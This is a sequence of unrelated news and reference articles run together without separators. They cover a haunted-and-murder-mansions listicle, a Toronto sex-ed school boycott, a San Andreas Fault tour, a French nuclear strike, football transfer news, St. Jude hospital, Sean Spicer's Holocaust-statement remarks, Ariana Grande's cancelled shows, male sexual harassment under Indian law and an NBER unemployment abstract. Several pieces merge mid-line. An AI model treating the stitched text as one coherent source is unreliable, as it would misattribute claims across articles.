Also, we don't even want to sort of know what was up with the idea of adding a stage, or the indoor pool with no windows, to a home like this. Golan, it may be offered up for sale again, and it may indeed be appealing if it's offered at a good deal, but perhaps it would be wiser to steer clear of this place.
3. Ashton Villa The Ashton Villa is a historic Galveston Island home that was built by wealthy businessman James Moreau Brown in 1859, prior to the Civil War. It's an enormous 3-story home with ornate rooms and magnificent staircases. And as magnificent as it is, it's also equally creepy, mainly because it's referred to as the most haunted building in America.
The home, which has survived a number of massive storms, including the Great Storm of 1900, where 6,000 people died and the island was left abandoned, and is also a historical marker for Galveston during the Civil War.
You see, Ashton Villa served as not only the Brown abode, but as the headquarters and hospital for the Confederate Army during the Civil War. Galveston's surrender to the Union Army took place in the ornate living room, or the "Gold Room," as its known.
So blots of death and war and all have made it pretty haunted, apparently, and the Ashton Villa is creepy because a bunch of people died in it who are now (apparently) refusing to leave. Mr. Brown, Mrs Brown, and their daughters Bettie and Mathilda all died in the Ashton Villa, as did a ton of Confederate soldiers, since the place was the headquarters and hospital for the Confederate Army.
The most notorious of those is Bettie, though. Brown's daughter was an eccentric, artistic woman who opted to remain unmarried at a time when such a thing was just wasn't done. She inherited the house from her father after he passed away. She lived in the house until her death, and apparently still hangs out there, opening drawers and appearing all creepeh-like.
But Bettie's not the only one still hanging around in the house in her post-death years. Those soldiers that died in the makeshift hospital during the Civil War still march, and there are a number of other regular things that happen to weird people out in that place. I don't know; it's Galveston. It's probably a good idea to stay far, far away.
This story continues on the next page.
2. The Hill Mansion Back in the '60s, Dr John Robert Hill was considered one of the most prominent plastic surgeons in the Southwest. He married a socialite named Joan Robinson Hill, who died mysteriously at the age of 38 after suffering from a three-day bout of the flu.
Dr Hill just so happened to have Joan embalmed before an autopsy could be done, leaving room for suspicion as to her cause of death. It didn't help much that John married his mistress within weeks of Joan's demise.
John went to trial for the murder of Joan by "omission" -- there was suspicion that he'd poisoned her, but no evidence -- which ultimately led to a mistrial. He would have gone back to court, but he was shot at the door of his house in River Oaks. Police suspected it was a hit arranged by Joan's father, but didn't have the evidence to prove it. Whoops.
So Golan, you might want to steer clear of Kirby -- and the Hill Mansion -- for your next rental. We're not saying it's haunted, but seriously. That's two murders in one house. Yikes.
1. Mossler Mansion So. The story of this murder mansion is confusing, but also quite sordid, so bear with us as we explain.
Jacques Mossler was married to a hot chick named Candy Mossler, who was the quintessential hostess and society gal. Jacques, unattractive and brash, was a number of years (think decades) older than Candy, who he paid a hefty allowance to stay home and throw parties and all. They had a luxurious apartment in Key Biscayne, Florida, where they would vacation. It was there that Jacques was found bludgeoned to death.
Investigators quickly targeted Candy's nephew, Melvin Lane Powers, her sister's son, for the murder after finding his fingerprints in the apartment and on the car that was seen fleeing the scene. Prosecutors accused Candy of masterminding the whole thing to get out of her marriage after having an affair with said nephew. Gross.
Powers was found not guilty, and left directly from the courthouse with his aunt, who proceeded to live with him in the Mossler Mansion in River Oaks for a number of years after. They split up, Candy moved on and married an electrical contractor, who was gravely injured in a mysterious fall at the mansion.
Candy also died at the River Oaks mansion five years later from a suspected medication overdose, because apparently Candy went hard. So a mansion full of weird "accidents," and a creepy incestuous affair? Yeah, this house is not the one for Golan.
None of them are, really. Perhaps it would be wiser for folks who are wary of murder mansions to just go the good ol' condo route. No one gets to haunt a condo, right?A public elementary school in Toronto was left nearly empty on Monday as parents protested against the province's new sex ed curriculum.
Between 200 and 300 protesters voiced their concerns with changes to the current sex ed system outside Thorncliffe Park Public School, said the CBC's James Murray. Toronto District School Board spokesman Ryan Bird said 1,220 of the 1,350 Grade 1 to Grade 5 students are not currently in class.
Meanwhile, across the city, the Toronto District School Board recorded 34,762 elementary school absences.
That's an increase of 144 percent compared to last Monday when there were 14,191 absences reported.
The board did not provide a breakdown of reasons for the absences, such as illness, etc.
In total, there are approximately 171,800 active elementary students at the TDSB.
A Thorncliffe parents' group is currently running a Facebook campaign called Parents & Students on strike: one week no school is encouraging parents who oppose the 2015 sex ed curriculum to keep their kids at home.
"We are sending them to have their science, math and English and whatever … we are not sending them for sex education," said parent Fatima Haqdad.
Thorncliffe Park has a large immigrant population. Immigrants with conservative or strong faith-based backgrounds have been among the most vocal critics of the province's new plan.
Education Minister Liz Sandals said she's disappointed that some parents have pulled their kids out of school, but vowed the curriculum would be in place by September.
Demonstrating parents at Thorncliffe Park said they'll protest again at that time.
They will be able to opt out of having their children attend the sex ed classes, though some school boards have questioned how they will be able to accommodate that should large numbers of students decline to take the class.In California, when you think of tourist attractions, the San Andreas Fault is probably not one of them. And it's definitely not a place anyone wants to be near during a major earthquake.
But there's an unknown area where you can actually hike inside the fault zone, CBS News correspondent David Begnaud reports.
Deep in California's Palm Desert -- three hours east of downtown Los Angeles -- is some of the state's most spectacular scenes. It's also in the middle of one of the deadliest earthquake zones in the world.
"This is the San Andreas Fault zone. This is the where the rock breaks and moves, and moves the earth," said tour guide Morgan Levine. "It's incredible to be in here. It's the bones of the earth exposed, right here."
Levine traded a 20-year career as a fine art appraiser to become a tour guide, driving people through an area as potentially dangerous as it is perfectly breathtaking.
Canyon in the San Andreas Fault CBS News
"It's so dramatic," Levine said. "It's such a tortured landscape because of this movement.... This is definitely art. Definitely just the greatest artist, Mother Nature. You're looking at the skeleton of our planet. You're seeing plate tectonics happen."
Each year, thousands of tourists experience this earthly marvel. Desert Adventures offers a guide, a jeep and an excursion through one of Earth's greatest forces.
Desert Adventures jeep traverses the Fault CBS News
"You're expecting a crack and what you're going to see is the fault. But it's the fault zone, and it's not just a crack," Levine said.
One of the most popular spots on the tour is Slot Canyon. You can walk through it, though it is incredibly tight. On one side you have the North American plate. On the other side is the Pacific. And this is evidence of millions of years of movement and pressure between two plates that have now created this incredible landscape.
"You don't see things like this is Los Angeles because there's buildings on top of the fault lines," Levine said. "The City Hall in Los Angeles has moved 10 feet from the day it was built, you just don't see it creeping and moving."
But in the desert, the grinding and colliding of tectonic plates has lifted layers of rock that Levine says dates back 2 million years.
Desert rocks in the San Andreas Fault CBS News
"Every layer that you see in these walls, it is a flash flood," Levine said. "And now the floods, where they've laid down rocks, are being tilted and lifted by the energy of the Earth."
Some of these rocks are up to 300 feet high.
"I tell them [visitors] they're going to see some of the most incredible landscape they're going to see in their life
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the French refining industry leading to gasoline shortages and rationing, things are about to get far more serious for the country whose economy has already been threatened with a sharp slowdown as a result of a relentless wave of labor unrest. According to Reuters, staff in France's 19 nuclear plants - which by definition we assume is essential - have voted to go on strike on Thursday as part of protests over a labour reform, according to a CGT union official.
While industry experts say planned strikes are unlikely to provoke blackouts because of legal limits on strike action in the nuclear industry and France's ability to import power from neighbouring countries, it would not be at all surprising to see the opposite outcome.
"It will start tonight at 2100 (1900 GMT) and last 24 hours," CGT spokesman Laurent Langlard told Reuters on Wednesday. "Our goal is not to bring down the network,” general secretary of the CGT-Energie de l'Aube, Arnaud Pacot, told Francetv Info. On the other hand, considering that France derives about 75 percent of its electricity from nuclear energy, it is difficult to envision a different outcome.
Cooling towers of the Electricite de France (EDF)
nuclear power station at Nogent-Sur-Seine
Once stopped, a nuclear reactor would take 3 to 5 days to restart. A spokesman for EDF [French electricity provider] told AFP that it was "difficult" to predict the consequences of such a move.
CGT (General Confederation of Labor) is a national trade union center, one of the five key unions in France. Trade unions in France are known to have strong support among workers, and are able to mobilize employees very rapidly.
The announcement comes amidst a major fuel crisis that is hitting the country due to a massive strike. As of Monday, about 1,600 gas stations were running out of fuel, six out of eight oil refineries were blocked, and five out of around 100 fuel depots affected. French motorists have been queuing in panic to fill up their tanks at service stations that still operate.
The French authorities began by saying there is no fuel crisis in the country, but then France's oil industry federation admitted that they had started using strategic oil reserves against the refinery blockade.
The reserves would last for three months, Union Francaise des Industries Petrolieres (UFIP) President Francis Duseux told RMC radio.Manuel Pellegrini has denied New York City will be angry if Frank Lampard extends his loan beyond December. City are having “long conversations” with their sister club to resolve the situation.
The manager wants the midfielder to continue at the Etihad Stadium and the 36-year-old has indicated he wants to stay on longer He was signed as a leading player for NYC yet Pellegrini is adamant the MLS club will not have any problems if Lampard remains at City. Pellegrini said: “I hope Frank’s situation will be resolved in the next days. I said in the beginning it will be during December we are going to have the last decision. I repeat Frank is very important for our team so I hope he will stay here.”
Chelsea’s 2-0 win at Stoke City on Monday re-established their three-point lead over the champions. “We are not thinking about Chelsea, we are thinking about just our team,” Pellegrini said. “We know it is important to have our own pressure. You never win the title in December. We have a long five months to continue playing as well as we are doing so far, and we will see at the end of the season which team has most points.”
Of his injured players only Stevan Jovetic, who trained on Tuesday, and Vincent Kompany have a chance for the Boxing Day trip to West Bromwich Albion. “I am not a doctor so it is difficult for me to say. Maybe Jovetic and Kompany will be soon, the end of this week or next week. Edin Dzeko and Sergio Agüero will be the second part of January,” Pellegrini said.Hospital in Tennessee, United States
St. Jude Children's Research Hospital, founded in 1962, is a pediatric treatment and research facility focused on children's catastrophic diseases, particularly leukemia and other cancers. The hospital costs about $2.4 million a day to run, and there is no cost to the patient to be treated.[1] It is located in Memphis, Tennessee, and is a nonprofit medical corporation designated as a 501(c)(3) tax-exempt organization by the Internal Revenue Service.[2]
History [ edit ]
St. Jude was founded by entertainer Danny Thomas in 1962, with help from Lemuel Diggs and Thomas' close friend from Miami, automobile dealer Anthony Abraham. The hospital was founded on the premise that "no child should die in the dawn of life".[3] This idea resulted from a promise that Thomas, a Maronite Catholic, had made to a saint years before the hospital was founded. Thomas was a comedian who was struggling to get a break in his career and living paycheck to paycheck. When his first child was about to be born, he attended Mass in Detroit and put his last $7.00 in the offering bin. He prayed to St. Jude Thaddeus for a means to provide for his family, and about a week later, he obtained a gig that paid 10 times what he had put in the offering bin. After that time, Thomas believed in the power of prayer. He promised St. Jude Thaddeus that if the saint made him successful, he would one day build him a shrine. Years later, Thomas became an extremely successful comedian and built St. Jude Children’s Research Hospital as a shrine to St. Jude Thaddeus to honor his promise.[4]
In 1957, Thomas founded the American Lebanese Syrian Associated Charities (ALSAC), which helped him realize his dream. ALSAC is also the fundraising organization of St. Jude. Since St. Jude opened its doors in 1962, ALSAC has had the responsibility of raising the necessary funds to keep the hospital open. Memphis was chosen at the suggestion of Roman Catholic Cardinal Samuel Stritch, a Tennessee native who had been a spiritual advisor to Thomas since he presided at Thomas's confirmation in Thomas's boyhood home of Toledo, Ohio.[5][6]
Although it was named after Thomas's patron saint, St. Jude is not a Catholic hospital and is not affiliated with any religious organization.[7]
In late 2007, the Chili's Care Center opened on the St. Jude campus. Chili's restaurant chain has pledged to provide $50 million to fund the construction of the center. The seven-story Chili's Care Center will have a floor area of 340,000 square feet (32,000 m2) and will add 24 labs and 16 beds to the campus. It will house the department of radiological services, The Pediatric Brain Tumor Consortium, two floors of outpatient clinics, one floor of inpatient clinics and rooms, two floors of laboratory space, an office floor and an unfinished level for future expansion.
In June 2008, Sterling Jewelers and St. Jude officially opened the new Kay Kafe (named after one of Sterling's jewelry chains), featuring a spacious lounge area, a significantly larger dining area and a variety of new dining options. More than ever, the cafeteria is the focal point of the campus where families and staff can escape and relax away from the treatment areas. The grand opening ceremony featured Marlo Thomas, national outreach director for St. Jude; Tony Thomas, member of the ALSAC/St. Jude Boards of Directors and Governors; Terry Burman, chairman of Sterling; Mark Light, CEO and president of Sterling; John P. Moses, CEO of ALSAC, the fundraising organization for St. Jude; Dr. William E. Evans, CEO of St. Jude; Joyce Aboussie, chair of the ALSAC Board of Directors, and Robert Breit, chair of the St. Jude Board of Governors.[8]
In 2014, the Marlo Thomas Center for Global Education and Collaboration was opened as part of the hospital.[9]
The hospital [ edit ]
A child playing congas in the Amy Grant Music Room at St. Jude Children's Research Hospital
Discoveries at St. Jude have profoundly changed how doctors treat children with cancer and other catastrophic illnesses.[10][11] Since St. Jude was established, the survival rate for acute lymphoblastic leukemia, the most common type of childhood cancer, has increased from 4 percent in 1962 to 94 percent today.[11] During this time, the overall survival rate for childhood cancers has risen from 20 percent to 80 percent.[12] St. Jude has treated children from across the United States and from more than 70 countries. Doctors across the world consult with St. Jude on their toughest cases.[13] Also, St. Jude has an International Outreach Program to improve the survival rates of children with catastrophic illnesses worldwide through the transfer of knowledge, technology and organizational skills.[14]
Corporate structure [ edit ]
Donald Pinkel was the first director of St. Jude and served from 1962 until 1973. His successor, Alvin Mauer, was director from 1973 to 1983. Joseph Simone was the hospital's third director from 1983 to 1992. Arthur W. Nienhuis was CEO and director of St. Jude from 1993 until 2004. William E. Evans, the hospital's fifth director, served from 2004 to 2014. He was succeeded by current CEO and director James R. Downing on July 15, 2014.
As of 2018, St. Jude's scientific director was James I. Morgan, Ph.D.[15]
St. Jude's board of directors is chaired by Camille F. Sarrouf Jr. and includes Joyce Aboussie, Ruth Gaviria and Tony Thomas (producer).
Awards and achievements [ edit ]
St. Jude and over 46 of its staff members have been the recipients of numerous exemplary awards and achievements. For example, in 2010 St. Jude Children's Research Hospital was named the number one children's cancer hospital in the U.S by U.S. News & World Report.[16] It has also been named one of the top 10 companies to work for in academia by The Scientist for 7 successive years.[17] Most notably, Peter C. Doherty, Ph.D., of St. Jude Children's Research Hospital was co-recipient of the 1996 Nobel Prize in Physiology or Medicine for work related to how the immune system kills virus-infected cells.
Affiliated hospitals [ edit ]
St. Jude is associated with several affiliated hospitals in the United States to further its efforts beyond its own physical walls. The hospital uses its Domestic Affiliates Program to form this partnership with the other pediatric programs. This program is a network of hematology clinics, hospitals, and universities that are united under the mission of St. Jude.
These sites are used as a means of referring eligible patients to St. Jude as well as a location to administer some care. Through the Domestic Affiliates Program staff at St. Jude work together and collaborate with those at the other institutions. Affiliated sites are expected to comply with standards set by St. Jude and are audited to ensure proper and quality care.[18]
Currently the Domestic Affiliate Clinic sites include:
St. Jude also works closely with Le Bonheur Children's Medical Center, also located in downtown Memphis. St. Jude patients needing certain procedures, such as brain surgery, may undergo procedures at LeBonheur Hospital. Both St. Jude and Le Bonheur are teaching hospitals affiliated with the University of Tennessee Health Science Center. University of Tennessee physicians training in pediatrics, surgery, radiology, and other specialties undergo service rotations at St. Jude Hospital.
The Children's Cancer Center of Lebanon was established in Beirut on April 12, 2002. The center is an affiliate of St. Jude Children's Research Hospital and works in association with the American University of Beirut Medical Center (AUBMC).[20]
A commitment has been made to establish a US$412 million research facility in Memphis, Tennessee, one purpose of which will be to serve as a collaborative hub.[15]
Funding [ edit ]
Funding for St. Jude comes from many sources, including government grants and insurance recoveries, but the principal source of funding (64% average over the past seven years) is from the American Lebanese Syrian Associated Charities (ALSAC) - a semi-independent entity that raises funds using the name of St. Jude.[21] Of a dollar donated to the American Lebanese Syrian Associated Charities, about $0.52 makes its way through to St. Jude Children's Research Hospital (averaged over seven years).[21]
All medically eligible patients who are accepted for treatment at St. Jude are treated without regard to the family's ability to pay. St. Jude is one of a few pediatric research organizations in the United States where families never pay for treatments that are not covered by insurance, and families without insurance are never asked to pay. In addition to providing medical services to eligible patients, St. Jude also assists families with transportation, lodging, and meals. Three separate specially-designed patient housing facilities— Tri Delta Place for short-term (up to one week), Ronald McDonald House for medium-term (one week to 3 months), and Target House for long-term (3 months or more)—provide housing for patients and up to three family members, with no cost to the patient. These policies, along with research expenses and other costs, cause the hospital to incur more than $2.4 million in operating costs each day.[22]
Philanthropic aid [ edit ]
From 2000 to 2005, 83.7% of every dollar received by St. Jude went to the current or future needs of St. Jude. In 2002 to 2004, 47% of program expenses went to patient care and 41% to research.[23] As of 2012, 81 cents of every dollar donated to St. Jude goes directly to its research and treatment.[12]
To cover operating costs, ALSAC conducts many fund-raising events and activities. The FedEx St. Jude Classic, a PGA Tour event, is one of the most visible fund-raising events for the hospital. Other fund-raising programs include the St. Jude Math-A-Thon, Up 'til Dawn, direct mailings, radiothons and television marketing.
St. Jude also has a merchandise catalog called the Hope Catalog. The catalog contains everything from shirts to office items, and from patient art to "Give Thanks" wristbands.
Thanks and Giving [ edit ]
In November 2004, St. Jude launched its inaugural Thanks and Giving campaign which encourages consumers to help raise funds at participating retailers by adding a donation at checkout or by purchasing specialty items to benefit St. Jude. The campaign is supported by network television spots, advertisements in major publications, interactive marketing on Yahoo! and a movie trailer that runs on 20,000 screens nationwide, runs from Thanksgiving until the New Year. The campaign was created by St. Jude National Outreach Director Marlo Thomas and her siblings Terre Thomas and Tony Thomas, children of hospital founder Danny Thomas. Customers nationwide are asked to help raise funds at participating retailers by adding a donation at check out or by purchasing specialty items to benefit St. Jude.
Corporations such as Target, Best Buy, Domino's Pizza, the Williams-Sonoma family of brands, CVS/pharmacy, Kmart, Kay Jewelers, New York & Company, 7-Eleven, Inc., American Airlines, American Kiosk Management, AutoZone, Brooks Brothers, Busch Gardens, Catherines, Diane von Fürstenberg, Dollar General, DXL Group, Easy Spirit, General Nutrition Centers, Gymboree, HSN, J. P. Morgan Chase, Marshall's, Alor, The Melting Pot, Memphis Grizzlies (NBA), Nine West, Rochester, Sag Harbor, Saks Fifth Avenue, SeaWorld, St. Louis Rams (NFL), West Elm, Westfield Shoppingtowns, and Yahoo! give customers a host of opportunities to support St. Jude.[24] The ultimate goal is to increase awareness with the hope that people will come to identify Thanksgiving with St. Jude, said Joyce Aboussie, vice chairwoman of the nonprofit’s board.[25] The official kick-off event for the Thanks and Giving campaign is the Give Thanks Walk. This event is a noncompetitive 5K that is now held in 75 cities across the country. Those participating in the race are encouraged to form teams, invite family and friends, and raise money for St. Jude. These walks have raised over $11 million to date.[26]
Other funding initiatives [ edit ]
One of the hospital's most recent and successful fund-raising efforts has been the Dream Home Giveaway. "About St. Jude Dream Home Giveaway". St. Jude Children's Research Hospital. The giveaway allows contest entrants to reserve tickets for $100 each to qualify to win homes valued between $300,000 and $600,000. The Dream Home Giveaway, one of the largest national fund-raising programs, is conducted in cities across the United States.
Many high schools around the country are creating student-led and student-run organizations called Team Up for St. Jude. These programs consist of high school students putting on events that raise funds and awareness for St. Jude while showing their school spirit. One of the main events is a letter writing campaign in which the students are sent pre-written letters that include stories of a patient and ask for donations. The high school students often have a "letter writing party" to address and send the letters to their family and friends asking them to support St. Jude.[27] Hoover High School (Hoover, AL) has a program that has brought in many fundraising ideas including "Team Up Week" which consists of prize wheels, inflatables, karaoke, cake walk, etc. to raise funds and awareness for the hospital.[28] Though this program is done on a much a smaller scale than the college program Up 'til Dawn, it has the potential to grow and increase awareness.
At various college campuses, some student organizations, fraternities and sororities raise funds in a program called Up 'til Dawn[29] Phi Mu Delta National Fraternity is partnered with St. Jude Children's Research Hospital. The fraternity's second core belief, "I Believe in Service... service to the college; service to every group organized for the common good; service to the individual. I believe in service defined in the terms of voluntary sacrifice for the welfare of those with whom I come in contact." has helped shape many young men of admirable quality and exceptional character towards a dedication to St. Jude and other equally important causes.[30] Tau Kappa Epsilon (TKE) Fraternity partnered with St. Jude in the 1970s and 1980s to help raise money to fight childhood cancer. The fraternity renewed its link to St. Jude as its philanthropy of emphasis in 2008.[31][32]
St. Jude is an International Philanthropic Project of Epsilon Sigma Alpha International, a co-ed service sorority. As of April 2013, ESA has raised more than $160 million in cash and pledges for St. Jude.[33][34]
In 1999, the Delta Delta Delta collegiate sorority formed a philanthropic partnership with St. Jude.[35] Tri Delta supports St. Jude nationally and supports cancer charities at a local level.[36] At the hospital in Memphis, the sorority donated the Teen Room for teenage patients to relax and spend time with each other. In July 2010, Tri Delta completed its "10 by 10" goal, raising over $10 million in less than four years, six years short of the original goal. Those funds were used to sponsor the Tri Delta Patient Care Floor in the Chili’s Care Center. Upon completion of the "10 by 10" campaign, the sorority announced a new fundraising goal of $15 million in 5 years to name the Specialty Clinic located in the Patient Care Center.[37] Three and a half years later, Delta Delta Delta had raised $15 million and completed its goal ahead of schedule.[38] In July 2014, the on-campus residence center was renamed Tri Delta Place as a result of Tri Delta's pledge of $60 Million in 10 years.[39]
In July 2005, Kappa Alpha Psi (ΚΑΨ) fraternity announced St. Jude Children’s Research Hospital as its national philanthropic partner. Since that time, members across the country have joined in the fight against pediatric cancer, sickle cell disease, and other catastrophic illnesses. Kappa Alpha Psi has answered the call to service by raising more than $400,000—representing the largest contribution that Kappa Alpha Psi has donated to any charity. Members of Kappa Alpha Psi have committed to raise $500,000 in support of the hospital’s sickle cell program. St. Jude has one of the largest pediatric sickle cell research and treatment programs in the world. St. Jude is the first known hospital in the world to cure sickle cell disease through bone marrow transplantation. Today, bone marrow transplantation still offers the only cure for sickle cell disease. Members of Kappa Alpha Psi reach out to churches in their local communities to host a Sunday of Hope each January in support of St. Jude. January was selected because this is the month of Kappa’s founding. During the Sunday of Hope, churches will take up a special offering in honor of the patients and families of St. Jude. At the 2008 ALSAC/St. Jude Board and Awards Dinner, Kappa Alpha Psi received the Volunteer Group of the Year Award for their efforts in the inaugural year of the Sunday of Hope program which secured more than 130 churches to participate and raised more than $280,000.[40]
Lambda Theta Alpha sorority serves thousands of hours each year to a variety of philanthropic causes and needs. In the effort to create a more united and bigger impact nationally, Lambda Theta Alpha selected a national philanthropy. In January 2010, LTA became an official collegiate partner to St. Jude Children's Research Hospital, becoming the first individual Latino Greek organization to commit fully to the hospital's efforts. With this partnership, LTA provides our resources of community service and activism and more importantly, another direct link to the Hispanic community for St. Jude. LTA has pledged to raise awareness about childhood cancer and St. Jude in the Latin community, as well as fundraise for the hospital through a variety of events and programs.[41][42]
Past events have included: sporting tournaments, charity galas, informational meetings, and much more.[42]
Another successful event is the Country Cares for St. Jude Kids radio-thon. During these events, country radio stations around the country allow those touched by St. Jude to share stories with listeners, highlighting patient stories, and having exciting promotions. Listeners are encouraged to call in and become a Partner In Hope by making either a one-time or monthly donation to the hospital. The 200 stations involved have helped raise over $400 million since 1989. Country artists have also supported St. Jude through concerts, hospital visits, call-ins, and other forms of support.[43]
Eagles for St. Jude is a program created during Stanford Financial Group’s inaugural sponsorship year of the Stanford St. Jude Championship out of the desire to provide a season-long fundraising component to the Memphis PGA tournament.
McDonald's Monopoly [ edit ]
In 1995, St. Jude received an anonymous letter postmarked in Dallas, Texas, containing a $1 million winning McDonald's Monopoly game piece. McDonald's officials came to the hospital, accompanied by a representative from the accounting firm Arthur Andersen, and verified it as a winner.[44] Although game rules prohibited the transfer of prizes, and even after learning that the piece was sent by an individual involved in an embezzlement scheme intended to defraud McDonald's, McDonald's waived the rule and made the annual $50,000 annuity payments.[45]
Celebrity visitors [ edit ]
St. Jude Children’s Research celebrity visitors are individuals that are in the entertainment industry who visit the children in the hospital. Over the years, many celebrities such as musicians, political figures, actors and others have become involved with this foundation. Hollywood actors visit the hospital to meet some of the kids and try to get involved. Other celebrities have filmed commercials to encourage individuals to donate to St. Jude. Some of the most recognized celebrities that have visited St. Jude to see the effort going on daily in order to combat catastrophic illnesses are:[46]
See also [ edit ]White House press secretary Sean Spicer went on a tear Monday about criticism of the Trump administration’s statement commemorating International Holocaust Memorial Day, saying that those “picking on” the statement’s failure to explicitly mention Jews are “pathetic” and “nitpicking.”
“The statement was written with the help of an individual who’s both Jewish and the descendent of Holocaust survivors,” Spicer told reporters at a White House daily briefing. “To suggest that remembering the Holocaust and acknowledging all of the people, Jewish, Gypsies, priests, disabled, gays and lesbians, it is pathetic that people are picking on a statement.”
He cited an Republican National Committee statement issued at Christmas that reporters similarly seized upon.
“I remember we issued a statement at Christmastime calling Christ the king and many reporters that are in this room and otherwise started wondering if we were referring to the king as the President-elect,” Spicer said, his voice rising in volume. “Do you know how offensive that was to Christians?”
He said Trump “acknowledged the suffering that existed” and sought to make sure it was “enshrined” in memory so that similar events never take place again.
“The idea that you’re nitpicking a statement that sought to remember this tragic event that occurred and the people who died in it is just ridiculous,” Spicer said. “And I think to sit there and suggest that he was trying to single out anything, and any people of which he has shown such tremendous respect for, and such a willingness in terms of the state of Israel to go out there and show the partnership that needs to exist between us and the respect, and when you contrast that, frankly, a statement, a statement!”
A reporter later asked Spicer if Jared Kushner, the President’s son-in-law and special adviser who is a Jewish descendent of Holocaust survivors, wrote the statement.
“Did I say that?” Spicer replied. “No.”
“You mentioned—” the reporter pressed.
“I know what I said. I didn’t say Jared’s name,” Spicer said. “No, I’m not getting into who wrote it, but he has several members of the Jewish faith on his senior staff. And to suggest that it was an omission of anything else is kind of ridiculous.”
The White House statement released on Friday mentioned the “victims, survivors, heroes” of the Holocaust and “the innocent” but did not specifically mention the 6 million Jews killed in concentration camps and cities throughout Europe.
Jonathan Greenblatt, director of the Anti-Defamation League, called the statement’s omission “puzzling and troubling,” while Steven Goldstein, executive director of the Anne Frank Center for Mutual Respect, condemned Trump’s “vague” language.
“Have you no decency?” Goldstein said in a statement.
On Sunday, White House chief of staff Reince Priebus argued that the statement was about “everyone’s suffering” and said “there’s no regret” about the omission.
Sen. Susan Collins (R-ME) responded in a tweet posted Monday morning, calling the omission a “historical mistake.”
Watch below:FILE - In this Aug. 26, 2015 file photo, Ariana Grande performs during the honeymoon tour concert in Jakarta, Indonesia. Grande's management team says the singer's concerts will be canceled through June 5, 2017, after a bombing following her concert in Manchester, England left 22 people dead. (AP Photo/Achmad Ibrahim, File)
NEW YORK (AP) — Ariana Grande suspended her Dangerous Woman world tour and canceled several European shows Wednesday due to the deadly bombing at her concert in Manchester, England.
Shows Thursday and Friday in London were canceled, along with concerts through June 5 in Belgium, Poland, Germany and Switzerland. Refunds will be granted, the pop star’s managers said in a statement. The tour was suspended to “further assess the situation and pay our proper respects” to the 22 dead and dozens injured in Monday’s suicide attack in the northern England town.
Grande’s tour is to pick up June 7 in Paris, followed by several more countries in Europe before moving on to Latin America, Asia and elsewhere.
“We ask at this time that we all continue to support the city of Manchester and all those families affected by this cowardice and senseless act of violence. Our way of life has once again been threatened but we will overcome this together,” the statement said.
Grande, who reportedly is in Boca Raton, Florida, with her family, has kept a low profile since the blast. An 8-year-old girl was among the dead. Grande took to Twitter afterward to say she was “broken” and “i don’t have words.”
The tour also features rapper BIA, whose real name is Bianca Landrau, and singer Victoria Monet.
Some bands — including Blondie and Take That — canceled shows after the blast but representatives for several music acts — including Celine Dion, Shawn Mendes, Guns N’ Roses and Phil Collins — said they will honor their European dates this summer.The sexual assault laws of our country have been devised such as that they clearly state their existence exclusively for women. “According to the Indian law, modesty, if at all, exists only in women.”
‘Sexual harassment’, the term is by default synonymous with the ‘sexual harassment of women’. The sexual harassment of men largely remains a hush affair in our country. But just because society refuses to acknowledge it, doesn’t mean that it does not happen. “It doesn’t happen as often as sexual harassment of women by men but sexual harassment of males in work places is also very common,” according to Pavan Choudary, author of ‘How A Good Person Can Really Win’ and an expert on workplace ethics.
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The issue is so entirely neglected in men that even our legal system is obsolete of laws protecting men from sexual harassment. The sexual assault laws of our country have been devised such as that they clearly state their existence exclusively for women. The sections 354, 509, and 376 of the Indian Penal Code which deal with sexual assault, namely, outraging the modesty of a woman, eve teasing and committing rape of a woman, all assume that men cannot be subjected to these crimes. The Vishakha guidelines which aims to prevent sexual harassment in work places are also just limited to women.
“According to the Indian law, modesty, if at all, exists only in women,” says ex-IPS officer Uday Sahai on the issue of male sexual harassment. “The only form in which a wrong sexual advancement on a man is recognized as an offence is as sodomy under the 377 section of the IPC. Apart from that there is no law to punish a person for molesting a man,” he further explains.
The absence of a law definitely doesn’t stem from the absence of the crime. “A large number of males do face sexual harassment in work places, both at the hands of men and women. Man on man harassment is more common, but woman on man harassment also isn’t exactly unheard of,” says Choudary. “Sexual harassment is, in its most rudimentary form, an assertion of power. So it does not take any one form or place itself in the hands of just one gender,” Choudhary adds.
Rahul Roy, documentary filmmaker and a noted voice for South Asian masculinity, explains this furthermore, “Sexual harassment of women is endemic, it is both a byproduct as well as a means of subjugating and controlling them. The sexual harassment faced by men in specific work situations like the police, armed forces, prisons and other such spaces require a certain excessive oozing of machismo for men to survive.”
The collective psyche that men can only abuse and only men can abuse needs to be shunned in light of the rising issue of sexual harassment of male employees. There also rises a need to address this problem more publicly and accumulate data specific to the male gender. The majority of surveys, studies or discussions fail to address the issue of sexual harassment in males. “There has to be some basis to come to a conclusion that men face sexual harassment at the hands of women … I would argue that we need separate or supplementary legal procedures that specifically address the issue of sexual harassment of men by other men,” according to Roy.
Sanjay Deshpande, one of the victims of sexual harassment who has spoken openly about it says, “Male sexual harassment is usually pushed under the rug. Especially by families themselves. Given that it would make their male child look weak/turn them gay. My parents too did the same.”
Rahul Roy shares this opinion too. “The problem of not acknowledging and recognizing male sexual harassment by other men is a direct fallout of the inability of men to accept vulnerability. Men find it very difficult to acknowledge sexual harassment because any such admission would mean that they have been feminized and there is nothing worse that can happen to men than being equated to the so called weaker feminine,” he says.
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While the necessity of a law to protect men is realized, the need to protect women shouldn’t be lost in the debate. As Roy says, “Gender neutrality in laws that discriminate against women should be welcomed. However, it is not a universal principle that needs to be applied to all forms of law making. Gender neutrality should not imply gender blindness.”The Consequences of Long-Term Unemployment: Evidence from Linked Survey and Administrative Data
NBER Working Paper No. 22665
Issued in September 2016, Revised in February 2018
NBER Program(s):Economic Fluctuations and Growth, Labor Studies
It is well known that the long-term unemployed fare worse in the labor market than the short-term unemployed, but less clear why this is so. One potential explanation is that the long-term unemployed are “bad apples” who had poorer prospects from the outset of their spells (heterogeneity). Another is that their bad outcomes are a consequence of the extended unemployment they have experienced (state dependence). We use Current Population Survey (CPS) data on unemployed individuals linked to wage records for the same people to distinguish between these competing explanations. For each person in our sample, we have wage record data that cover the period from 20 quarters before to 11 quarters after the quarter in which the person is observed in the CPS. This gives us rich information about prior and subsequent work histories not available to previous researchers that we use to control for individual heterogeneity that might be affecting subsequent labor market outcomes. Even with these controls in place, we find that unemployment duration has a strongly negative effect on the likelihood of subsequent employment. This result is robust to efforts to account for differences in labor market circumstances that might affect job-finding success rates. The findings are inconsistent with the heterogeneity (“bad apple”) explanation for why the long-term unemployed fare worse than the short-term unemployed and lend support to the state dependence explanation for the negative association between unemployment duration and subsequent employment rates. We also find that longer unemployment durations are associated with lower subsequent earnings, though this is mainly attributable to the long-term unemployed having a lower likelihood of 